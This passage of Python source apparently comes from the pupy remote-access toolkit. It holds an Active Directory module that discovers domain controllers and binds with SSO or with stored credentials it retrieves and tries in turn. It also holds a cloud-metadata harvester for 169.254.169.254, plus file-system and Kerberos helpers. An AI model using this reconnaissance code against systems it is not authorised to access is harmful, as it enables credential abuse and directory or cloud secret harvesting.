                AF_INET6 if IPAddress(addr).version == 6 else AF_INET,
                SOCK_DGRAM,
                0,
                '',
                (addr, 53)
            ) for addr in local_addrs
        ]

        local_addrs.extend(addrs)

        # Also add local DNS

        for addr in local_addrs:
            if self._interrupt.is_set():
                break

            family, kind, proto, _, endpoint = addr
            logger.info('DNS: Try %s:%d', *endpoint)

            try:
                start = clock()
                s = socket(family, kind, proto)
                s.settimeout(timeout)
                s.connect(endpoint)
                s.send(query.pack())
                data = s.recv(4096)
                duration = clock() - start

                parsed = dnslib.DNSRecord.parse(data)
                if parsed.header.rcode != dnslib.RCODE.NOERROR:
                    logger.info(
                        'Bootstrap DNS: %s: SOA request failed', endpoint[0])
                    continue

                self._name_servers.append((addr, duration))
                if first:
                    return True

            except socket_error as e:
                logger.info('Bootstrap DNS %s: Socket error %s', endpoint[0], e)
                pass

            except Exception as e:
                logger.exception(e)

            finally:
                s.close()

        logger.info('Selected DNS: %s', self._name_servers)
        return bool(self._name_servers)

    def _select_fastest_ns(self, on_data=None):
        if not self._name_servers:
            for timeout in (1, 5):
                if self._bootstrap_ns(timeout=timeout, on_data=None):
                    break

        if not self._name_servers:
            if on_data:
                on_data('No accessible DNS found')

            raise AutodiscoveryNoDnsServersFound()

        self._preferred_name_server, duration = sorted(
            self._name_servers, key=lambda __duration: __duration[1]
        )[0]

        if on_data:
            on_data('Preferred DNS: {} (rt: {:02f}ms)'.format(
                self._preferred_name_server[4][0], duration * 1000))

    def _broken_ns(self, ns):
        for known_ns in self._name_servers:
            if ns == known_ns[0]:
                self._name_servers.remove(known_ns)
                return

    def _resolve(self, address, qtype):
        retries = 0
        while not self._interrupt.is_set():
            family, kind, proto, _, addr = self._preferred_name_server

            if self._ns_socket is None:
                try:
                    self._ns_socket = socket(family, kind, proto)
                    self._ns_socket.connect(addr)
                    self._ns_socket.settimeout(5)
                except socket_error:
                    self._broken_ns(addr)
                    self._select_fastest_ns()
                    self._ns_socket.close()
                    self._ns_socket = None

                    retries += 1
                    if retries > 5:
                        raise ValueError('Too many retries')

                    continue

            query = dnslib.DNSRecord.question(address, qtype).pack()
            try:
                self._ns_socket.send(query)

                max_dns_size = 4096

                if kind == SOCK_STREAM:
                    max_dns_size = 65535

                response = self._ns_socket.recv(max_dns_size)
            except socket_error:
                self._broken_ns(addr)
                self._select_fastest_ns()
                self._ns_socket.close()
                self._ns_socket = None

                retries += 1
                if retries > 5:
                    if retries > 5:
                        raise ValueError('Too many retries')

                    continue

            if not response:
                continue

            parsed = dnslib.DNSRecord.parse(response)
            if parsed.header.rcode != dnslib.RCODE.NOERROR:
                return []

            return [
                record.rdata for record in parsed.rr
                if dnslib.QTYPE[record.rtype] == qtype
            ]

    def _autodiscovery(self,
            global_catalog=False, on_data=None, interrupt=None):

        if not auto_discovery:
            raise AutodiscoveryNotAvailable()

        key = (self.realm, global_catalog)

        if key in DISCOVERY_CACHE:
            ts, _ldap_servers = DISCOVERY_CACHE[key]

            if time() - ts < 3600:
                self._ldap_servers = _ldap_servers
            else:
                del DISCOVERY_CACHE[key]

            if self._ldap_servers:
                return

        self._select_fastest_ns(on_data)

        if on_data:
            on_data(
                'Discovery {} servers for realm {} using DNS {}'.format(
                    'GC' if global_catalog else 'LDAP', self.realm,
                    self._preferred_name_server[4][0]))

        ldap_servers = self._resolve('_ldap._tcp.' + self.realm, 'SRV')
        if not ldap_servers:
            raise AutodiscoveryFailed()

        _ldap_servers = []

        for ldap_server in ldap_servers:
            record = ADLdapServer(
                ldap_server.target, ldap_server.port,
                ldap_server.priority
            )

            _ldap_servers.append(record)

        _ldap_servers = sorted(_ldap_servers)

        self._ldap_servers = []

        _gc_ldap_servers = []

        if global_catalog:
            gc_ldap_servers = self._resolve(
                '_ldap._tcp.gc._msdcs.' + self.realm, 'SRV')

            if gc_ldap_servers:
                for ldap_server in gc_ldap_servers:
                    record = ADLdapServer(
                        ldap_server.target, ldap_server.port,
                        ldap_server.priority
                    )

                    _gc_ldap_servers.append(record)

                _gc_ldap_servers = sorted(_gc_ldap_servers)

                # Global catalog has priority
                self._ldap_servers.extend(_gc_ldap_servers)

        self._ldap_servers.extend(_ldap_servers)

        hosts = set(server.address for server in self._ldap_servers)
        ports = set(server.port for server in self._ldap_servers)

        if on_data:
            on_data('Check connection ({} servers)'.format(len(
                self._ldap_servers)))

        connectables = scan(hosts, ports, interrupt)
        self._ldap_servers = [
            server for server in self._ldap_servers
            if (server.address, server.port) in connectables
        ]

        DISCOVERY_CACHE[key] = time(), self._ldap_servers

        if on_data:
            on_data(('Discovered', tuple(
                '{}:{}'.format(server.address, server.port)
                for server in self._ldap_servers)))

    def _try_connect_exact(
        self, server, ldap_server, global_catalog=False, recv_timeout=60,
            domain=None, user=None, password=None,
            authentication=None, sasl_princ_use_realm=True):

        kwargs = {
            'authentication': authentication,
            # Broken with SASL
            # 'auto_referrals': True,
            # 'use_referral_cache': True,
            'auto_referrals': False,
            'receive_timeout': self._timeout,
            'client_strategy': RESTARTABLE
        }

        if not (user and password) and authentication == SIMPLE:
            raise NoCredentials()

        if (user and password):
            kwargs.update({
                'user': user,
                'password': password
            })

        if authentication == SASL:
            bind_user = None

            if user:
                bind_user = user + '@' + (domain or self.realm).upper()

            if password and GSSAPI_EXT_PASSWORD:
                bind_user = GSSAPI_EXT_PASSWORD((bind_user, password))

            sasl_ldap_server = ldap_server
            if sasl_princ_use_realm:
                sasl_ldap_server += '/' + self.realm

            kwargs.update({
                'user': bind_user,
                'sasl_credentials': (
                    ldap_server,
                ),
                'sasl_mechanism': GSSAPI,
            })

        elif authentication == NTLM:
            if not (user and password):
                raise NoCredentials()

            if '\\' not in user:
                if not domain:
                    domain = self.realm.lower()

                kwargs['user'] = domain + '\\' + user

        elif authentication == SIMPLE:
            if not (user and password):
                raise NoCredentials()

        self._kwargs = kwargs

        try:
            self._connect(server)
        except gssexceptions.GSSError as e:
            gssmaj, gssmin = e.args
            msgmaj, majcode = gssmaj
            msgmin, _ = gssmin
            if (majcode & 0xb0000 == 0xb0000) \
                and authentication == SASL and sasl_princ_use_realm:

                self._try_connect_exact(
                    server, ldap_server, global_catalog, recv_timeout,
                    domain, user, password,
                    authentication, False
                )
            elif majcode & 0xd0000 == 0xd0000:
                raise NoCredentials(
                    'GSSAPI: ' + msgmin, replace=True
                )
            else:
                raise NoCredentials(
                    'GSSAPI: ' + msgmaj + (
                        (': ' + msgmin) if msgmin != 'Success' else ''
                    ), replace=True
                )

        except Exception as e:
            logger.info(
                'LDAP Connect failed: server=%s args=%s: %s',
                ldap_server, kwargs, e
            )
            raise

    def _connect(self, server=None, timeout=None):
        kwargs = dict(self._kwargs)
        if timeout:
            kwargs['receive_timeout'] = timeout

        self.connection = Connection(
            server or self.server, **kwargs
        )

        if not self.connection.bind():
            last_error = self.connection.last_error
            self.connection = None
            raise BindError(last_error)

        self._i_am = self.connection.extend.standard.who_am_i()
        self.server = server

    def _try_connect_multi(
        self, server, ldap_server, global_catalog=False, recv_timeout=60,
            domain=None, user=None, password=None, authentication=None):

        errors = []

        if authentication is not None:
            self._try_connect_exact(
                server,
                ldap_server, global_catalog, recv_timeout,
                domain, user, password, authentication
            )
            return

        for authentication in (SASL, NTLM, SIMPLE):
            try:
                self._try_connect_exact(
                    server,
                    ldap_server, global_catalog, recv_timeout,
                    domain, user, password, authentication
                )

                logger.info(
                    'Authenticated to %s with %s',
                    ldap_server, authentication
                )
                return

            except AuthenticationError as e:
                errors.append(
                    (authentication, ldap_server, domain, user, e)
                )

        raise BindErrorMulti(errors)

    @property
    def ldap_server(self):
        return self._preferred_ldap_server

    @property
    def name_server(self):
        return self._preferred_name_server[4][0]

    def __init__(
        self, realm,
        ldap_server=None, global_catalog=False, recv_timeout=60,
            domain=None, user=None, password=None,
            authentication=None, root=None, interrupt=None, timeout=600,
            on_data=None):

        if not realm:
            raise ValueError('Realm can not be empty')

        self.realm = realm.upper()
        self.global_catalog = global_catalog
        self.server = None

        self._interrupt = interrupt or Event()
        self._ns_socket = None
        self._ldap_servers = []
        self._name_servers = []
        self._preferred_ldap_server = None
        self._preferred_name_server = None
        self._timeout = timeout

        if not ldap_server and self._preferred_ldap_server:
            ldap_server = self._preferred_ldap_server

        if ldap_server:
            server = Server(
                ldap_server,
                get_info=ALL,
                port=3268 if global_catalog else 389,
                # Broken in ldap3 (SASL issues)
                # allowed_referral_hosts=[
                #     ('*', True)
                # ]
            )

            if on_data:
                on_data('Connecting to {}'.format(ldap_server))

            self._try_connect_multi(
                server,
                ldap_server, global_catalog,
                domain, user, password, authentication
            )

            self._preferred_ldap_server = ldap_server
        else:
            try:
                self._autodiscovery(global_catalog, on_data, interrupt)
            except AutodiscoveryFailed as e:
                if on_data:
                    on_data(
                        'Autodiscovery failed, try {} as LDAP'.format(
                            realm))

                logger.info(
                    'Autodiscovery failed: %s. Try realm as LDAP',
                    e.message
                )

                self._ldap_servers = [
                    ADLdapServer(realm, 389, 0)
                ]

            errors = []
            known_invalid_creds = []

            for multi_ldap_server in self._ldap_servers:
                if self._interrupt.is_set():
                    break

                if (domain, user, password, authentication) in known_invalid_creds:
                    logger.info(
                        'Omit %s: no creds for method %s', multi_ldap_server.address,
                        authentication
                    )
                    continue

                try:
                    server = Server(
                        multi_ldap_server.address,
                        connect_timeout=5,
                        port=multi_ldap_server.port,
                        get_info=ALL,
                        allowed_referral_hosts=[
                            ('*', True)
                        ]
                    )

                    if on_data:
                        on_data('[Try] Connecting to {}'.format(
                            multi_ldap_server.address))

                    self._try_connect_multi(
                        server,
                        multi_ldap_server.address, global_catalog, recv_timeout,
                        domain, user, password, authentication
                    )

                    self._preferred_ldap_server = multi_ldap_server.address
                    break

                except gaierror as e:
                    logger.info(
                        'Can not resolve %s: %s, try next if any',
                        multi_ldap_server.address,
                        e
                    )
                    errors.append(
                        CommunicationError(str(e))
                    )

                except BindErrorMulti as e:
                    errors.extend(e.childs)
                    for (authentication, ldap_server, domain, user, exc) in e.childs:
                        if isinstance(exc, NoCredentials):
                            known_invalid_creds.append(
                                (domain, user, password, authentication)
                            )

                except (
                    socket_error, LDAPSocketOpenError, LDAPSocketReceiveError,
                    LDAPCommunicationError, LDAPMaximumRetriesError) as e:
                    errors.append((domain, user, password, authentication, e))
                    continue

        if not self.server:
            if errors:
                raise BindErrorMulti(errors)
            else:
                raise CommunicationErrorNoDiscovered()

        self.root = root

        if self.root is None and self.server.info and self.server.info.other:
            if 'defaultNamingContext' in self.server.info.other:
                self.root = self.server.info.other['defaultNamingContext'][0]
            else:
                self.root = next(iter(self.server.info.naming_contexts))

    def interrupt(self):
        self._interrupt.set()

    def dump(self, on_data, on_completed, interrupt,
            filter=None, minimal=False, timeout=600):
        ctx = LDAPContext(self.server, self.connection, self.root)

        categories = None

        dump_requests = self.SIMPLE_DUMP_REQUESTS

        if isinstance(filter, basestring):
            if filter.startswith('('):
                dump_requests = {
                    'custom_' + md5(filter).hexdigest(): LDAPLargeRequest(filter)
                }
            else:
                categories = tuple(set(cat.strip() for cat in filter.split(',')))
                filter = None

                dump_requests = {
                    name: request for name, request in
                    self.SIMPLE_DUMP_REQUESTS.items()
                    if name in categories
                }

        for name, request in dump_requests.items():
            if interrupt.is_set():
                if on_completed:
                    on_completed()

                return

            _on_data = lambda data: on_data(
                name, as_tuple_deep({
                    k:v for k,v in record.items()
                    if k not in ('raw_attributes', 'raw_dn', 'type')
                } for record in data if record['type'] == 'searchResEntry')
            )

            request(
                ctx, _on_data, None, interrupt,
                minimal=minimal,
                custom_filter=filter
            )

        if on_completed:
            on_completed()

    def childs(self):
        try:
            result = self.connection.search(
                self.root, '(objectClass=domain)',
                BASE,
                attributes=['subRefs'],
                size_limit=1,
            )
        except LDAPAttributeError:
            return False, "Not supported"

        if not result:
            return False, self.connection.last_error

        response = list(self.connection.response)
        if len(response) != 1:
            return True, None

        return True, (self._i_am, response[0]['dn'], tuple(
            response[0]['attributes']['subRefs']))

    def info(self):
        info = {
            'bind': self._i_am,
            'root': self.root or '',
            'dns': self._preferred_name_server,
            'ldap': self._preferred_ldap_server,
            'dns_servers': self._name_servers,
            'ldap_servers': self._ldap_servers
        }

        info['info'] = {
            k:getattr(self.server.info, k) for k in (
                'alt_servers', 'naming_contexts',
                'supported_controls', 'supported_extensions',
                'supported_features', 'supported_ldap_versions',
                'supported_sasl_mechanisms', 'vendor_name',
                'vendor_version', 'schema_entry',
                'other'
            )
        }

        return as_tuple_deep(info)

    def search(self, filter, attributes, base, root,
            amount=5, timeout=30, as_json=False):

        controls = []

        if 'ntsecuritydescriptor' in tuple(attr.lower() for attr in attributes):
            controls.append(build_sd_control())

        try:
            result = self.connection.search(
                root or self.root, filter, base,
                attributes=attributes,
                controls=controls,
                size_limit=amount,
                time_limit=timeout
            )
        except (LDAPAttributeError, LDAPInvalidDnError) as e:
            return False, str(e)

        if not result:
            if not self.connection.last_error:
                return True, []

            return False, self.connection.last_error

        if as_json:
            return True, self.connection.response_to_json(indent=1)
        else:
            result = []
            for record in self.connection.response:
                if record['type'] != 'searchResEntry':
                    continue

                item = record['attributes']
                if 'distinguishedName' in item:
                    del item['distinguishedName']

                item['dn'] = record['dn']
                result.append(item)

            return True, result


def _get_realm(realm, on_data=None):
    if not realm:
        if len(REALM_CACHE) == 1:
            realm = REALM_CACHE[next(iter(REALM_CACHE))].realm
            if on_data:
                on_data('[Resue] Realm: {}'.format(realm))
        else:
            realm = environ.get('USERDNSDOMAIN', None)
            if realm:
                if on_data:
                    on_data('[env] Realm: {}'.format(realm))
            else:
                fqdn = getfqdn()
                if '.' in fqdn:
                    _, realm = fqdn.split('.', 1)
                    if on_data:
                        on_data('[fqdn] Realm: {}'.format(realm))
                else:
                    _, domains = dnsinfo()
                    if not domains:
                        raise AutodiscoveryFailed('No way to find default realm')
                    else:
                        realm = domains[0]
                        if on_data:
                            on_data('[dnsinfo] Realm: {}'.format(realm))

    return str(realm).strip().upper()


def _get_cached_ctx(realm, global_catalog=False, on_data=None):
    realm = _get_realm(realm, on_data)
    key = (
        ('GC' if global_catalog else 'LDAP'),
        realm
    )

    return key, realm, REALM_CACHE.get(key, None)


def _get_ctx(
    interrupt, on_data,
    realm, ldap_server, global_catalog, recv_timeout,
        domain, user, password, root):

    key, realm, ctx = _get_cached_ctx(realm, global_catalog, on_data)
    if ctx:
        return ctx

    if (user and password):
        logger.info(
            '(Realm: %s) Use preconfigured credentials: domain=%s user=%s',
            realm, domain, user
        )

        on_data('[auth] Realm: {} - user: {}\\{}'.format(realm, domain, user))
        ctx = ADCtx(
            realm, ldap_server, global_catalog, recv_timeout,
            domain, user, password,
            root=root, interrupt=interrupt, on_data=on_data
        )
    else:
        errors = []

        try:
            logger.info('(Realm: %s) Use SSO', realm)
            if on_data:
                on_data('[auth] Realm: {} - try SSO'.format(realm))

            ctx = ADCtx(
                realm, ldap_server, global_catalog, recv_timeout,
                root=root, interrupt=interrupt, on_data=on_data
            )

            REALM_CACHE[key] = ctx
            logger.info('(Realm: %s) Use SSO - ok (%s)', realm, ctx)
            return ctx

        except BindErrorMulti as e:
            errors.extend(e.childs)

        except (
            ADException, gssexceptions.GSSError,
                LDAPUnknownAuthenticationMethodError, LDAPMaximumRetriesError) as e:

            logger.warning('(Realm: %s) Use SSO failed: %s', realm, e)

        for cred in find_creds(schema='ldap', realm=realm.lower(), username=user):
            if interrupt.is_set():
                break

            domain = cred.domain or cred.realm
            user = cred.username
            password = cred.password

            if not user:
                # We already tried SSO
                continue

            if on_data:
                on_data('[Try] Credentials {}\\{}'.format(
                    domain, user))

            logger.info(
                '(Realm: %s) Try netcreds: domain=%s user=%s',
                realm, domain, user
            )

            try:
                ctx = ADCtx(
                    realm, ldap_server, global_catalog, recv_timeout,
                    domain, user, password,
                    root=root, interrupt=interrupt, on_data=on_data
                )

                logger.info(
                    '(Realm: %s) Try netcreds: domain=%s user=%s: ok (%s)',
                    realm, domain, user, ctx
                )

            except BindErrorMulti as e:
                errors.extend(e.childs)

            except (ValueError, ADException,
                    gssexceptions.GSSError, LDAPUnknownAuthenticationMethodError) as e:

                logger.warning(
                    '(Realm: %s) Try netcreds: domain=%s user=%s failed: %s',
                    realm, domain, user, e
                )
                continue

        if not ctx:
            logger.warning('(Realm: %s) No creds found', realm)
            raise CommunicationErrorDiscovered(errors)

    REALM_CACHE[key] = ctx
    return ctx


def _dump(ctx, interrupt, on_data, on_completed, filter, minimal):
    try:
        ctx.dump(
            on_data, on_completed,
            interrupt, filter, minimal
        )

    except Exception as e:
        if interrupt.is_set():
            on_data('error', 'Interrupted')
        else:
            import traceback
            on_data(
                'error', '{}: {}'.format(
                    e, traceback.format_exc()
                )
            )

    finally:
        on_completed()


def _bind(
    interrupt, on_data, on_completed,
    realm, global_catalog, ldap_server=None, recv_timeout=60,
    domain=None, user=None, password=None, root=None
):
    bound_to = None

    if on_data:
        if global_catalog:
            on_data(
                'Bind to ' + (
                    'Global Catalog' if global_catalog else 'LDAP'))

    try:
        ctx = _get_ctx(
            interrupt, on_data,
            realm, ldap_server, global_catalog, recv_timeout,
            domain, user, password, root
        )

        bound_to = ctx.ldap_server

        if on_completed:
            on_completed(True, bound_to)

    except Exception as e:
        logger.exception(e)

        if on_completed:
            on_completed(False, str(e))
        else:
            raise


def bind(
    on_data, on_completed,
    realm, global_catalog, ldap_server=None, recv_timeout=60,
    domain=None, user=None, password=None, root=None
):
    interrupt = Event()
    thread = Thread(
        target=_bind,
        args=(
            interrupt, on_data, on_completed,
            realm, global_catalog, ldap_server, recv_timeout,
            domain, user, password, root
        )
    )
    thread.daemon = True
    thread.start()

    return interrupt.set


def unbind(realm, global_catalog=False):
    key, _, ctx =_get_cached_ctx(realm, global_catalog)
    if not ctx:
        raise NoContext()

    try:
        ctx.connection.unbind()
    finally:
        del REALM_CACHE[key]


def dump(on_data, on_completed, realm, global_catalog=False,
        filter=None, minimal=False):
    key, _, ctx =_get_cached_ctx(realm, global_catalog)
    if not ctx:
        raise NoContext()

    interrupt = Event()
    thread = Thread(
        target=_dump,
        args=(
            ctx, interrupt, on_data, on_completed,
            filter, minimal
        )
    )
    thread.daemon = True
    thread.start()

    return interrupt.set


def search(realm, global_catalog, term,
        attributes, base, root, amount, timeout, as_ldiff):
    ctxs = []
    if realm:
        key, _, ctx =_get_cached_ctx(realm, global_catalog)
        if not ctx:
            raise NoContext()

        ctxs.append(ctx)
    elif global_catalog is not None:
        expected_btype = 'GC' if global_catalog else 'LDAP'
        ctxs.extend([
            ctx for (btype, _), ctx in REALM_CACHE.items()
            if btype == expected_btype
        ])
    else:
        ctx.extend(REALM_CACHE.values())

    if not ctxs:
        raise NoContext('any')

    if len(ctxs) > 1:
        results = {}
    else:
        results = []

    errors = []
    ok = False

    for ctx in ctxs:
        try:
            success, result = ctx.search(
                term, attributes, base, root,
                amount, timeout, as_ldiff
            )
        except Exception:
            success = False
            import traceback
            result = traceback.format_exc()

        if success:
            if len(ctxs) > 1:
                key = (
                    'GC ' if ctx.global_catalog else ''
                ) + ctx.realm
                results[key] = result
            else:
                results.extend(result)

            ok = True
        else:
            result = ctx.realm + ': ' + result
            errors.append(result)

    if not ok:
        return False, '\n'.join(errors)

    return ok, as_tuple_deep(results)


def childs(realm, global_catalog):
    key, _, ctx =_get_cached_ctx(realm, global_catalog)
    if not ctx:
        raise NoContext()

    return ctx.childs()


def info(realm, global_catalog):
    key, _, ctx =_get_cached_ctx(realm, global_catalog)
    if not ctx:
        raise NoContext()

    return ctx.info()


def bounded():
    return tuple(REALM_CACHE)


================================================
FILE: pupy/packages/all/cloudinfo.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import urllib2
import re
import json
import base64
import string

is_dict = re.compile(r'^(\d+)=([^/]+)$')


METADATA_SERVER = 'http://169.254.169.254'
METADATA_PROVIDER = None
METADATA_ROOT = None
METADATA_HEADERS = []
METADATA_PARAMS = ''


def _probe():
    global METADATA_ROOT
    global METADATA_PROVIDER
    global METADATA_HEADERS
    global METADATA_PARAMS

    if get('', 'latest/meta-data'):
        METADATA_PROVIDER = 'EC2'
        METADATA_ROOT = 'latest'

    elif get('', 'metadata/v1'):
        METADATA_PROVIDER = 'DO'
        METADATA_ROOT = 'metadata/v1'

    else:
        result = get('', 'metadata', [('Metadata', 'true')], 400)
        if not result:
            raise ValueError('Unknown metadata implementation')

        error = json.loads(result)
        version = error['newest-versions'][0]

        METADATA_PROVIDER = 'MS'
        METADATA_HEADERS = [('Metadata', 'true')]
        METADATA_ROOT = 'metadata/instance'
        METADATA_PARAMS = '?api-version={}&format=json'.format(version)

    return METADATA_PROVIDER, METADATA_ROOT, METADATA_HEADERS


def get(path, root=None, headers=None, code=200):
    opener = urllib2.build_opener()
    opener.addheaders = \
        METADATA_HEADERS if headers is None else headers

    path = '/'.join([x for x in path.split('/') if x])

    uri = '/'.join([
        METADATA_SERVER,
        METADATA_ROOT if root is None else root,
        path or ''
    ]) + METADATA_PARAMS

    try:
        response = opener.open(uri, timeout=2)
        if response.code != code:
            return None

    except urllib2.HTTPError as e:
        if e.code == code:
            return e.fp.read()
        else:
            return None

    return response.read()


def metadir(path):
    data = get(path)

    if data:
        return [x for x in data.split('\n') if x]
    else:
        return data


def isint(x):
    try:
        int(x)
        return True
    except:
        return False


def valueconv(x):
    try:
        return int(x)
    except:
        pass

    try:
        return float(x)
    except:
        pass

    try:
        return json.loads(x)
    except:
        pass

    try:
        for letter in x:
            if letter in string.letters:
                base64.b64decode(x)
                return x
    except:
        pass

    if x is None or x == 'none':
        return None
    elif x.endswith('\n'):
        return x
    elif '\n' in x:
        return [valueconv(z) for z in x.split('\n')]

    return x


def as_dict(path=''):
    result = {}
    dirs = metadir(path)
    if not dirs:
        return None

    for item in dirs:
        if item.endswith('/'):
            records = as_dict('/'.join([path, item]))
            if records:
                result[item[:-1]] = records

        elif is_dict.match(item):
            idx, name = is_dict.match(item).groups()
            records = as_dict('/'.join([path, idx + '/']))
            if records:
                result[name] = records
        else:
            result[item] = valueconv(get('/'.join([path, item])))

    if isinstance(result, dict) and all(
            (isint(key) and int(key) < len(result)) for key in result):
        as_list = [None] * len(result)
        for key, value in result.items():
            as_list[int(key)] = value

        result = as_list

    return result


def metadata():
    if METADATA_PROVIDER is None:
        try:
            _probe()
        except ValueError:
            return None

    if METADATA_PROVIDER == 'EC2':
        result = {
            'meta-data': as_dict('meta-data'),
            'dynamic': as_dict('dynamic'),
        }

        user_data = as_dict('user-data')
        if user_data:
            try:
                result['user-data'] = dict(
                    x.split('=', 1) for x in user_data.split(';')
                )
            except:
                result['user-data'] = user_data

    elif METADATA_PROVIDER == 'MS':
        result = json.loads(get(''))
    else:
        result = as_dict()

    return METADATA_PROVIDER, result


================================================
FILE: pupy/packages/all/fsutils.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = (
    'readlink', 'lstat', 'has_xattrs', 'uidgid',
    'username_to_uid', 'groupname_to_gid',
    'NoUidGidMapping', 'NoSuchUser', 'NoSuchGroup'
)


from os import readlink, lstat
from sys import platform

from pupy.network.lib.convcompat import as_unicode_string


def _has_xattrs(filepath):
    return None


has_xattrs = _has_xattrs

if platform.startswith('linux'):

    try:
        from xattr import listxattr

        def linux_has_xattrs(filepath):
            return listxattr(filepath)

        has_xattrs = linux_has_xattrs

    except ImportError:
        pass


class NoUidGidMapping(Exception):
    pass


class NoSuchUser(NoUidGidMapping):
    pass


class NoSuchGroup(NoUidGidMapping):
    pass


try:
    from pwd import getpwuid, getpwnam
    from grp import getgrgid, getgrnam

    def username_to_uid(username):
        try:
            return as_unicode_string(
                getpwnam(username).pw_uid
            )
        except KeyError:
            raise NoSuchUser(username)

    def groupname_to_gid(groupname):
        try:
            return as_unicode_string(
                getgrnam(groupname).gr_gid
            )
        except KeyError:
            raise NoSuchGroup(groupname)

    def uidgid(filepath, item, as_text=True):
        if not as_text:
            return item.st_uid, item.st_gid

        try:
            pw = getpwuid(item.st_uid)
        except KeyError:
            pw = None

        try:
            gr = getgrgid(item.st_gid)
        except KeyError:
            gr = None

        return as_unicode_string(
            pw.pw_name
        ) if pw else as_unicode_string(
            str(item.st_uid)
        ), as_unicode_string(
            gr.gr_name
        ) if gr else as_unicode_string(
            str(item.st_gid)
        )

except ImportError:
    def uidgid(filepath, item):
        return item.st_uid, item.st_gid

    def username_to_uid(username):
        raise NoSuchUser(username)

    def groupname_to_gid(groupname):
        raise NoSuchGroup(groupname)


================================================
FILE: pupy/packages/all/gssapi.py
================================================
# -*- coding: utf-8 -*-
# gssapi-like wrapper over ccs-pykerberos and winkerberos
# enough to run ldap3 auth, no more

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
import sys
import logging
from functools import reduce

logger = logging.getLogger().getChild('gssapi_wrap')

if sys.platform == 'win32':
    import winkerberos as krb
    have_inquire_creds = False
    logger.info('Using WinKerberos')
else:
    import kerberos as krb
    logger.info('Using PyKerberos')
    have_inquire_creds = True

from base64 import b64encode, b64decode

C_NT_HOSTBASED_SERVICE = 0

C_PROT_READY_FLAG = getattr(krb, 'GSS_C_PROT_READY_FLAG', 0)
C_SEQUENCE_FLAG = krb.GSS_C_SEQUENCE_FLAG
C_INTEG_FLAG = krb.GSS_C_INTEG_FLAG
C_MUTUAL_FLAG = krb.GSS_C_MUTUAL_FLAG
C_DELEG_FLAG = krb.GSS_C_DELEG_FLAG


class OID(object):
    __slots__ = ()

    @staticmethod
    def mech_from_string(mech):

        if mech == '1.2.840.113554.1.2.2':
            return krb.GSS_MECH_OID_KRB5
        elif mech == '1.3.6.1.5.5.2':
            return krb.GSS_MECH_OID_SPNEGO
        else:
            raise NotImplementedError(
                'Unsupported mech {}'.format(mech))


class ExtPassword(tuple):
    @property
    def username(self):
        return self[0]

    @property
    def password(self):
        return self[1]

    def __str__(self):
        return self[0]


GSSAPI_EXT_PASSWORD = ExtPassword
GSSAPI_MIC_SUPPORT = hasattr(krb, 'authGSSSign')

GSSException = krb.GSSError


class GSSAPIAdapterException(Exception):
    pass


class RequirementFlag(object):
    protection_ready = C_PROT_READY_FLAG
    integrity = C_INTEG_FLAG
    mutual_authentication = C_MUTUAL_FLAG
    delegate_to_peer = C_DELEG_FLAG


class exceptions(object):
    MissingContextError = GSSAPIAdapterException
    GSSError = GSSException
    GeneralError = GSSAPIAdapterException


class raw(object):
    misc = exceptions


class NameType(object):
    hostbased_service = 0


class MechType(object):
    kerberos = krb.GSS_MECH_OID_KRB5
    spnego = krb.GSS_MECH_OID_SPNEGO


class WrappedToken(object):
    __slots__ = ('message',)

    def __init__(self, message):
        self.message = message


def Name(name, *args, **kwargs):
    return name


class Credentials(object):
    __slots__ = (
        'name', 'usage', 'password'
    )

    def __init__(self, name=None, usage=None, password=None):
        self.name = name
        self.password = None
        self.usage = usage

        if isinstance(name, GSSAPI_EXT_PASSWORD):
            self.name = name.username
            self.password = name.password
        else:
            self.name = name
            self.password = None

    def __repr__(self):
        return 'Credentials(name={}, usage={}, password={})'.format(
            self.name, self.usage, self.password
        )


class Context(object):
    __slots__ = (
        'name', 'mech', 'creds', 'complete', 'flags', 'usage',
        '_ctx'
    )

    def __init__(self, name=None, mech=None, creds=None, flags=0, usage=None):
        if hasattr(flags, '__iter__') and not isinstance(flags, str):
            flags = reduce(lambda x, y: x|y, flags, 0)

        self.name = name or ''
        self.mech = mech or krb.GSS_MECH_OID_KRB5
        self.creds = creds
        self.complete = False
        self.flags = flags or C_SEQUENCE_FLAG | C_MUTUAL_FLAG
        self.usage = usage
        self._ctx = None

        if __debug__:
            logger.debug('New security context: %s', self)

    def __repr__(self):
        return self.__class__.__name__ + \
            '(name={}, mech={}, creds={}, complete={})'.format(
                self.name, self.mech, self.creds, self.complete)

    def init(self):
        if self._ctx:
            return self._ctx

        if __debug__:
            logger.debug('Initialize security context: %s', self)

        args = [
            self.name,
            self.creds.name if self.creds else None
        ]

        kwargs = {
            'gssflags': self.flags,
            'mech_oid': self.mech
        }

        need_inquire_creds = True

        if self.creds and self.creds.password:
            kwargs['password'] = self.creds.password,

            try:
                result, self._ctx = krb.authGSSClientInit(
                    *args, **kwargs
                )

                logger.debug('GSSApiExt: password ok')
                need_inquire_creds = False
            except TypeError:
                logger.debug('GSSApiExt: password is not supported')
                del kwargs['password']

        if not self._ctx:
            result, self._ctx = krb.authGSSClientInit(
                *args, **kwargs
            )

        if result < 0:
            raise GSSAPIAdapterException(result)

        if need_inquire_creds and have_inquire_creds:
            logger.debug('GSSApiExt: inquire credentials')
            result = krb.authGSSClientInquireCred(self._ctx)
            if result < 0:
                raise GSSAPIAdapterException(result)

    @property
    def established(self):
        return self.complete

    def step(self, in_token):
        if not self._ctx:
            self.init()

        in_token = b64encode(in_token) if in_token else ''

        result = krb.authGSSClientStep(
            self._ctx, in_token
        )
        if result < 0:
            raise GSSAPIAdapterException(result)

        self.complete = result == krb.AUTH_GSS_COMPLETE
        out_token = krb.authGSSClientResponse(self._ctx)
        return b64decode(out_token) if out_token else None

    def wrap(self, data, protect=None):
        if data:
            data = b64encode(data)

        result = krb.authGSSClientWrap(
            self._ctx, data, None, 0
        )

        if result < 0:
            raise GSSAPIAdapterException(result)

        out_data = krb.authGSSClientResponse(self._ctx)
        return WrappedToken(b64decode(out_data))

    def unwrap(self, data):
        if data:
            data = b64encode(data)

        result = krb.authGSSClientUnwrap(self._ctx, data)

        if result < 0:
            raise GSSAPIAdapterException(result)

        out_data = krb.authGSSClientResponse(self._ctx)
        return WrappedToken(b64decode(out_data))

    def sign(self, sid):
        return b64decode(krb.authGSSSign(self._ctx, b64encode(sid)))

    get_signature = sign

